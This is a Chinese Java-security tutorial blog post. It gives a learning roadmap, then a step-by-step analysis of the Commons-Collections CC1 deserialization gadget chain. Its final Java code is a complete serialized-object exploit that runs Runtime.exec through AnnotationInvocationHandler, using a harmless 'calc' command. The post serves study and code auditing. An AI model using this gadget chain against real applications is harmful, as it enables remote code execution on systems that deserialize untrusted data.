本文由安云星球内部群P1ng@n师傅投稿,师傅也是Rookie工具的开发者,师傅们需要海康或者亿赛通的综合利用工具可以瞅瞅,顺手点个star
https://github.com/P1nganD/Rookie
Java学习路线
Java学习第一步,我们首先还是得看懂Java,这一点咱们还是要充分利用好B站大学,对于初学者来说我觉得还是看视频跟着
https://www.bilibili.com/video/BV1PY411e7J6/?spm_id_from=333.337.search-card.all.click
再看一下springboot的(可以跟着敲一敲)
https://www.bilibili.com/video/BV1Es4y1q7Bf/?spm_id_from=333.337.search-card.all.click&vd_source=a54cf0709f5afb9a8d3dd0c6079b9cbc
个人认为vue可以快速过,如果嫌弃慢呢就直接狂神拔苗助长版
https://www.bilibili.com/video/BV12J41137hu/
直接看啥不会看啥,反射不会看反射,动态代理不会看动态代理,到这已经可以了
Java安全的基础
1、看白日梦组长的视频,过掉反射、流、动态代理、动态加载,顺带可以到反序列化这里
在序列化之前可以摸一下审计owasp的审计,尝试一下,其实造成原因就是(开发不小心没注意)
https://www.bilibili.com/video/BV16h411z7o9/
2、学会使用yso
到这里了我们需要知道一个东西,我们要会用它反弹shell,并且我们cc链子看的就是他上面写的链子路线走的
https://github.com/frohoff/ysoserial
这边建议用p牛搭建的vulhub自己测试验证反弹shell
https://github.com/vulhub/vulhub
3、实际的反序列化
到这里了我们就可以开始学习cc链,着重需要看cc1的Lazymap还有cc6链cc链子分析完,我们可以看一下比较简单的shiro550、还有shiro721
反序列化进阶版
RMI这个建议,RMI看完顺带看一下jndi、ldap因为一般情况下是一起的,这里弄完我觉得后续大家就可以直接开始走那些我们常见的fastjson、log4j、weblogic
https://github.com/Maskhe/javasec/blob/master/6.java%20rmi%E5%9F%BA%E7%A1%80.md
5、内存马
https://www.bilibili.com/video/BV1E84y1w77R/?spm_id_from=333.999.0.0
Filter、Listener、Serlvet、Value、Agent内存马的文章比较杂乱,只能自己找找了,这一块freebuf比较多
https://www.freebuf.com/author/potatosafe?type=article
6、学习文章链接:
到了后面,我看这个会比较多
https://github.com/Maskhe/javasec
反序列化看的是
https://github.com/Drun1baby/JavaSecurityLearning
7、源码网站呢,在这儿很多都找得到,嘻嘻
https://www.lingfengyun.com/
PS:
其实后面可以开始学习审计那种开源的cms了。废话一下550shiro的其实比较简单,因为我们只需要关注rememberMe就可以轻松找到反序列化的点,可以在java安全基础看完就跟着审审,能够方便你cc1入门的时候更快理解emmm分享p牛的话
部分新手代码审计的误区,拿到源码就开始硬怼,这样效率是比较低的。大部分基于拦截器的应用都是使用开源框架开发的,比如典型的struts2。对于这类基于开源框架的应用,不建议上来就硬怼源码,而是框架阅读文档,先理解架构,看具体处理各个功能的代码,比如你说的路由的原理。等熟悉了框架以后,再开始看一些框架底层的代码,易懂很多。
如果你发现应用确实不是开源框架开发的,或者不是常见的框架。我也建议你先学习一些常见的开源框架,比如spring web和struts2等,这样对于理解你的目标有很大帮助。其实学习过程可以去p牛的星球,那边很多审计分享文章
Java反序列化CommonsCollections-CC1链
参考文章如下:
https://drun1baby.top/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/
https://space.bilibili.com/2142877265/channel/collectiondetail?sid=29805
https://blinkfox.github.io/2018/09/13/hou-duan/java/commons/commons-collections-bao-he-jian-jie/
https://www.cnblogs.com/CVE-Lemon/p/17908658.html#2-commons-collections%E6%98%AF%E4%BB%80%E4%B9%88
环境搭建
• JDK8u65
• openJDK 8u65
• Maven 3.6.3
导入pom.xml
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
并在Maven中下载源代码
https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
点击左下角的zip即可下载,然后解压。再进入到相应JDK的文件夹中,里面本来就有个src.zip的压缩包,我们解压到当前文件夹下,然后把之前源码包(jdk-af660750b2f4.zip)中/src/share/classes下的sun文件夹拷贝到src文件夹中去。打开IDEA,选择文件 --->项目结构 --->SDK --->源路径 --->把src文件夹添加到源路径下,保存即可。
import org.apache.commons.collections.functors.InvokerTransformer;
这样则代表已经成功导入环境
Commons Collections
JavaCollectionsFramework 是 JDK 1.2 中的一项重要新增功能。它添加了许多强大的数据结构,可以加速最重要的 Java 应用程序的开发。从那时起,它已成为 Java 中公认的集合处理标准。Commons-Collections试图通过提供新的接口、实现和实用程序来构建JDK类。像许多常见的应用如Weblogic、WebSphere、Jboss、Jenkins等都使⽤了ApacheCommonsCollections工具库,当该工具库出现反序列化漏洞时,这些应用也受到了影响,这也是反序列化漏洞如此严重的原因。
分析利用链
首先需要知道是这个反序列化是重写readObject导致的(如果这个还没懂的话,可以去看看白日组长的视频快速过一下)所以我们需要找到入口类这里并且我们需要一个readObject 方法,结尾这里需要一个能够命令执行的方法,中间需要找到一个利用链过去。大佬哪里扣下来的图,看一下大概就知道了。
所以思路我们需要先从命令执行的时候开始,就是命令执行的逻辑部分开始分析,然后再到入口。
1、找到尾部的exec()方法
根据前人的经验我们直接找到Transformer这个接口,这边的Transformer接口声明了transform类
public interface Transformer {
/**
* Transforms the input object (leaving it unchanged) into some output object.
*
* @param input the object to be transformed, should be left unchanged
* @return a transformed object
* @throws ClassCastException (runtime) if the input is the wrong class
* @throws IllegalArgumentException (runtime) if the input is invalid
* @throws FunctorException (runtime) if the transform cannot be completed
*/
public Object transform(Object input);
}
ctrl+alt+b查找实现接口的类
我第一时间看到的是MapTransformer和InvokerTransformer,因为根据之前的反序列化调用的例子Map是能够被调用导致反序列化的,还有InvokerTransformer也是很熟悉的。
但是MapTransformer我没有翻到,于是看到InvokerTransformer,发现了存在反射调用类的地方(这里再贴一下反射是干啥的,反射所有的操作都是关于Class)
Class cls = input.getClass();//实例化对象getClass
Method method = cls.getMethod(iMethodName, iParamTypes);//获取成员方法getMethod
return method.invoke(input, iArgs);//method.invoke可以实现method 方法的调用,并通过args 参数传参。
tramsform方法:
调用接收到的对象的getClass方法,获取他的类对象
用getMethod方法获取cls类对象的iMethodName方法
用invoke方法执行input对象的iMethodName方法,参数是iArgs
也可以理解为tramsform就是反射执行input.iMethodName(iArgs
关于java安全基础,我们可以很明显的看到这边的反射存在任意调用
顺带回顾一下这个弹计算机
package src.CommandExec;
import org.omg.SendingContext.RunTime;
import java.lang.reflect.Method;
public class InvokeTransformerTest {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
Class c = Runtime.class;
Method method = c.getDeclaredMethod("exec", String.class);
method.setAccessible(true);
method.invoke(runtime, "calc");
}
}
那么如何构造exp呢,接下来我们构造一个利用 InvokerTransformer 类弹计算器的程序。
根据构造方法构造 EXP,因为是 public 的方法,这里无需反射。
看如下
package src.CommandExec;
import org.apache.commons.collections.functors.InvokerTransformer;
public class Bolg {
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();//实例化对象
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});//重新实现一遍反射
invokerTransformer.transform(runtime);//既然我们已经找到了InvokerTransformer.transform()方法了,所以就往回找谁调用了transform方法
}
}
·注意我们最后一句 invokerTransformer.transform(runtime);
·所以我们下一步的目标是去找调用 transform 方法的不同名函数
2、寻找链子
如果这边找不到齐全ctrl+alt+shift+f7
那么我们想找啥呢不同名字调用transform,但是这种transform再transform就没有什么意义,最终的目标肯定是要回到我们的readObject
知道了大部分是没有意义的,看到了最后的TransformedMap 类中存在 checkSetValue() 方法调用了 transform() 方法。
接着我们看一下valueTransformer.transform(value)是什么东西
最后在TransformedMap中发现了valueTransformer,但是TransformedMap的构造方法作用域是protected所以我们还需要找一下谁调用了TransformedMap的构造方法,我们可以看到decorate中调用了
在decorate()静态方法中创建了TransformedMap对象
这边看一下poc
package src.CommandExec;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class decorateCalc {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
Class<TransformedMap> transformedMapClass = TransformedMap.class;
Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
checkSetValueMethod.setAccessible(true);
checkSetValueMethod.invoke(decorateMap, runtime);
}
}
1、先明确一下思路,尾部链子,也就是我们要利用的漏洞,是因为 invokeTransformer 的 transform 方法可以进行反射的命令执行。
2、在执行 .decorate 方法的时候,会新建 TransformedMap 对象,我们调用对象的 checkSetValue 方法(因为我们无法直接获取 TransformedMap 对象,它的作用域是 protected)。
3、在 checkSetValue 方法当中,会执行 .transform 的方法。这也就是我们链子的尾部 ———— .transform
看了drun1baby大佬的大概就是:
decorate会首先创建一个transformedMap对象,但是利用链我们需要用的readObject,这个在完整利用链中有分析。
所以我们需要用到TransformedMap的checkSetValue这个构造方法,但是他的作用域是protected,所以是无法直接获取TransformedMap对象
从上文可知,漏洞是因为因为 invokeTransformer 的 transform 方法可以进行反射的命令执行。所以需要我们调用transform方法,正好在checkSetValue中
这样的话执行 .decorate是必要的, 这几句语句是为了运用 .decorate 方法而存在的。
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
接上文,因为我们这边已经运用了.decorate 方法,那么就可以创建一个transformedMap对象
Class<TransformedMap> transformedMapClass = TransformedMap.class;
再通过反射构造攻击手段
Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
checkSetValueMethod.setAccessible(true);
checkSetValueMethod.invoke(decorateMap, runtime);
到现在exp就结束了
3、完整链子
回到前边,因为上文的.decorate 方法找到了但是里面并没有我们想要看到的readObject方法,素有需要我们回到关键的checkSetValue中。那么谁调用了这个构造方法checkSetValue,在AbstractMapEntryDecorator中,这是一个抽象类,是TransformedMap的父类。可以看到调用 checkSetValue 方法的类是 AbstractInputCheckedMapDecorator 类中的一个内部类 MapEntry。
setValue()实际上就是在 Map 中对一组 entry(键值对)进行 setValue() 操作
那么首先看一下map是干啥的,相当于遍历,所以,我们在进行 .decorate 方法调用,进行 Map 遍历的时候,就会走到 setValue() 当中,而 setValue() 就会调用 checkSetValue
尝试测试一下下断点对setValue
package src.CommandExec;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class SetValueTest01 {
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
for (Map.Entry entry:decorateMap.entrySet()){
entry.setValue(runtime);
}
}
}
大概总结就是找到一个数组map,让他能够遍历这个数组,并且执行setValue方法。还有就是找到一个readObject能够执行setValue(),但是链子找到了我们的readObject 还没有找到所以我们还是要继续跟进setValue()
readObject()链首
翻了超级久才看到readObject()方法,记住动态代理不要跳过,因为我当时闲麻烦其实跳过了,到这里因为这个和动态代理有关又回去学了一遍,
AnnotationInvocationHandler这里我们可以看到其实这是一个动态代理的作用,因为他继承了InvocationHandler方法,并且这边的Map参数是我们可控的
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)
然后我们看着readObject,因为在反序列化中他是自动执行的,这是关键,其中需要我们调用setValue,但是他是有条件的
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists //条件1
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || //条件2
value instanceof ExceptionProxy)) {
memberValue.setValue( //最后我们需要实现的
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
readObject的方法是类AnnotationInvocationHandler的,但是AnnotationInvocationHandler的作用域是default(原因是在java中只要没有加public你看的其实就是default),子类是不能够访问的,所以需要我们反射的方法来获取类。然后再去实例化他。
public: 表明该方法或者变量对所以得类是可见的,所有的类或者对象都可以进行访问。
protected:表明该变量或者变量不能被非同一包中的类或者对象调用,子类具有访问父类的权限,
default:表明只有同一类,或者同一包中的类有访问权限,而其子类不能访问
private:表明该方法或者变量只有当前类才可以进行访问
其实最好的结果就是谁的readObject中调用了setValue或者entrySet()也是可能出现利用链的
手写exp1:exp生效的阻碍和解决思路
package src.CommandExec;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class SetValueTest01 {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
// for (Map.Entry entry:decorateMap.entrySet()){
// entry.setValue(runtime);
//这边我们需要反射AnnotationInvocationHandler,因为他是default的作用域,不能够直接调用
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
aihdlConstructor.setAccessible(true);
//实例化对象
Object o = aihdlConstructor.newInstance(Override.class, transformedMap);
//序列化与反序列化
serialize(o);
unserialize("ser.bin");
}
//和之前的一样
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
在理想状态下是这个样子的,我们将参数传入后序列化和反序列化弹出计算器,但是runtime并不在其中,因为其实在entry.setValue(r)中r是我们要传的runtime对象,于是面临如下问题:
1.Runtime这个东西是我们自己生成的,并且Runtime对象不可序列化,需要通过反射将其变成可以序列化的形式。
2.setValue() 的传参,是需要传 Runtime 对象的;而在实际情况当中的 setValue() 的传参是这个东西,而且我们是控制不了他的。
3.第三个问题就是readObject()链首提到的两个条件也需要我们满足。
手写exp2:Runtime序列化的问题
由于Runtime不能够序列化但是他的class是能够序列化的,那我们写一个正常的Runtime的反射
public static void main(String[] args) throws Exception {
//一个正常的Runtime的反射
Class c = Runtime.class;
Method method = c.getMethod("getRuntime");
Runtime runtime = (Runtime) method.invoke(null, null);
Method run = c.getMethod("exec", String.class);
run.invoke(runtime, "calc");
}
接下来我们需要写一个invokerTransformer的版本
public class SetValueTest01 {
public static void main(String[] args) throws Exception {
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},
new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"}).transform(r);
}
1.从上面的代码可以看到都是new InvokerTransformer().invoke()格式
2.后一个invoke()里的方法参数都是前一个的结果
那么我们是不是就可以减少这种复用
但是我们需要把它放进ChainedTransformer进行传参数组递归
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
然后结合一下 .decorate这边的链子,原先我们用的是invokerTransformer,但是这边我们用了ChainedTransformer引入transformers实例化对象。
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);//把这个改一下就好了
手写exp3:两个if的判断
但是我们启动是不会弹计算器的,所以可以知道我们第二个和第三个问题是没有解决的。
那我们断点AnnotationInvocationHandler中的两个if就可以知道我们是否进入了我们的setValue()方法中,我们直接跳出了if也就是第一条我们并没有实现,if (memberType != null) { // i.e. member still exists,并且我们显示进入到readObject
告诉我们memberType不能为空,那么memberType是啥,这个type其实就是Override,但是实际上他啥也没有就是空的,那么我们要去找另外的注解。
看一下这个 memberValue其实就是个键值对,然后name获取这个memberValue的key,然后他在memberTypes中查找这个key,又需要key不为空。所以需要针对性的改一下。
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
但是我们看到Target中是有成员方法value。这里我们用 Target.class 尝试一下,所以我们 hashmap.put 也需要修改为 value。
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))//判断成员变量是否相等
但是到这里我们也还是没有过掉setValue,发现 setValue() 处中的参数并不可控,而是指定了 AnnotationTypeMismatchExceptionProxy 类,是无法进行命令执行的。那么我们需要找到一个类,能够可控 setValue 的参数。
手写exp4:最终解决setValue的参数
ConstantTransformer能够完美解决这个问题
他会把任何对象都放入到iConstant也就是说transform不论传入的是啥都是iConstant,就可以当做一个常量。那么我们可以利用这一点,将 AnnotationTypeMismatchExceptionProxy 类作为 transform() 方法的参数,也就是这个无关的类,作为参数,我们先传入一个 Runtime.class,然后无论 transform() 方法会调用什么对象,都会返回 Runtime.class
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{//改这个地方
new ConstantTransformer(Runtime.class),//将setValue可控
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"})
};
最后我们的exp就是
package src.CommandExec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class SetValueTest01 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{//改这个地方
new ConstantTransformer(Runtime.class),//将setValue可控
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","pingan");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihdlConstructor.setAccessible(true);
//实例化对象
Object o = aihdlConstructor.newInstance(Target.class, transformedMap);
// 序列化反序列化
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
总结
先理顺一下利用链
利用链:
InvokerTransformer#transform
TransformedMap#checkSetValue
AbstractInputCheckedMapDecorator#setValue
AnnotationInvocationHandler#readObject
使用到的工具类辅助利用链:
ConstantTransformer
ChainedTransformer
HashMap
总结一下找的过程吧毕竟第一次分析,学代码审计
首先是根据前人经验看Transformer,然后通过ctrl+alt+b找一下调用他的实现方法里面找到了InvokerTransformer在这里可以看到invoke,那么就存在反射调用了。
然后回头看我们的Transformer在别的地方还有调用,我们find一下翻翻就可以看到TransformedMap#checkSetValue接着就看到checkSetValue下的valueTransformer是干啥的我们并不知道,所以跟进一下最后在TransformedMap中发现了valueTransformer,但是因为他是protected所以我们还要看看谁调用了他,find很简单就可以看到(因为就几条不需要翻得很累)decorate,可以看到是Map遍历。
到这里我们还是没有看到想要看到的readObject,但是这个decorate又是一个我们很关键需要部分,因为在decorate()静态方法中创建了TransformedMap对象,我们才能再去实例化他。于是回到我们的checkSetValue,于是我们又要需要find一下找到AbstractInputCheckedMapDecorator#setValue他调用了我们的checkSetValue,可以看到调用 checkSetValue 方法的类是 AbstractInputCheckedMapDecorator 类中的一个内部类 MapEntry。
接着继续找我们的readObject,find可以看到sun.reflect.annotation.AnnotationInvocationHandler下有我们想看到的readObject,并调用了setValue。层层递进刚看超级晕甚至不知道为啥exp这么写,多自己调试多看看就懂了。(可能没写的很全反正大致是这样)
免责声明
文章所涉及内容,仅供安全研究与教学之用,由于传播、利用本文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。
原文始发于微信公众号(银遁安全团队):【JAVA安全】Java反序列化CommonsCollections-CC1链及JAVA审计学习路线
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论